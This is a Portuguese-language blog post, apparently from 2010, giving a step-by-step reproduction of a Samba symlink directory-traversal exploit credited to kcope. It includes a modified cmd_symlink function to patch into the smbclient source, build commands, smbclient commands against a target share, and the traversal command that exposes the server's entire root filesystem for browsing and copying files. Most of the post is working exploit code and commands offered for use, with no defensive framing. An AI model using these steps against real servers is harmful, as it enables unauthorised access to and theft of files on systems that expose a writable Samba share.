O assunto do dia foi esse, depois que o kcope publicou o exploit do samba ontem (04-02-2010), muito semelhante a que ocorreu em 2004, fui testa-lo para ser assunto de mais um post aqui no blog. Quando explorado a falha, é possível listar, ler e copiar arquivos para o sistema atacado, não somente no diretório compartilhado pelo samba, mas sim todo o “/” do seu linux. Nos testes que realizei (Debian), só foi preciso criar um compartilhamento com permissão de escrita para todos, que é necessário para o xploit funcionar.
1) Mão na massa, primeiramente baixe o source do samba, eu utilizei a versão 3.4.5: http://samba.org/samba/ftp/stable/samba-3.4.5.tar.gz
2) Será necessário alterar um arquivo do source do samba e alterar um bloco como descrito abaixo:
vi ~/samba-3.4.5/source3/client/client.c
/****************************************************************************
UNIX symlink.
****************************************************************************/
static int cmd_symlink(void)
{
TALLOC_CTX *ctx = talloc_tos();
char *oldname = NULL;
char *newname = NULL;
char *buf = NULL;
char *buf2 = NULL;
char *targetname = NULL;
struct cli_state *targetcli;
if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
!next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
d_printf(“symlink <oldname> <newname>\n”);
return 1;
}
oldname = talloc_asprintf(ctx,
“%s”, // << HERE modified
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s”, // << HERE modified
buf2);
if (!newname) {
return 1;
}
/* COMENTE
oldname = talloc_asprintf(ctx,
“%s%s”, // < modified (see above)
client_get_cur_dir(), // < removed (see above)
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s%s”, // < modified (see above)
client_get_cur_dir(), // < removed (see above)
buf2);
if (!newname) {
return 1;
}
———————————————-*/
if (!cli_resolve_path(ctx, “”, auth_info, cli, oldname, &targetcli, &targetname)) {
d_printf(“link %s: %s\n”, oldname, cli_errstr(cli));
return 1;
}
if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
d_printf(“Server doesn’t support UNIX CIFS calls.\n”);
return 1;
}
if (!cli_unix_symlink(targetcli, targetname, newname)) {
d_printf(“%s symlinking files (%s -> %s)\n”,
cli_errstr(targetcli), newname, targetname);
return 1;
}
return 0;
}
——————————————————————————————————————————
Como visto acima, algumas linhas do bloco “UNIX symlink” foram alterados, a melhor opção é remover o bloco do arquivo original e colar o bloco acima no seu source.
3) Agora vamos compilar o samba:
# cd ~/samba-3.4.5/source3/
#./configure && make && make install
4) Localizar o diretório compartilhado:
# smbclient -s /etc/samba/smb.conf -L //192.168.48.128
Irá listar os diretórios compartilhados no alvo, no meu caso deu um problema com uma biblioteca no momento da execução, para resolver alterei a variável LD_LIBRARY_PATH.
# export LD_LIBRARY_PATH=/usr/local/samba/lib < local da lib do samba
5) Acessando o compartilhamento:
# smbclient -s /etc/samba/smb.conf //192.168.48.128/shared
A pasta compartilhada chama-se “shared”, lembrando, ela deverá ter permissão total de escrita para o guest.
6) Xploit!!
Vc irá cair no prompt do samba (smb: \>), se vc executar o “ls”, ele irá listar os arquivo de dentro da pasta compartilhada, mas e agora??
no prompt do samba digite: symlink ../../../../../ root
Executando o “ls” novamente, listará uma pasta chamada “root”, óóóóóóóóó!! Agora entre nela!
smb: \> cd root
smb: \root\> ls
UAUUU!! o conteúdo do “/” inteiro a disposição!! Agora é só navegar nas pastas e transferir arquivos!!
Esta 0day é de total crédito do kcope, autor de diversas 0day’s. (http://www.milw0rm.com/author/113 | http://twitter.com/Kingcope)
[]‘s Sergito
vi ~/samba-3.4.5/source3/client/client.c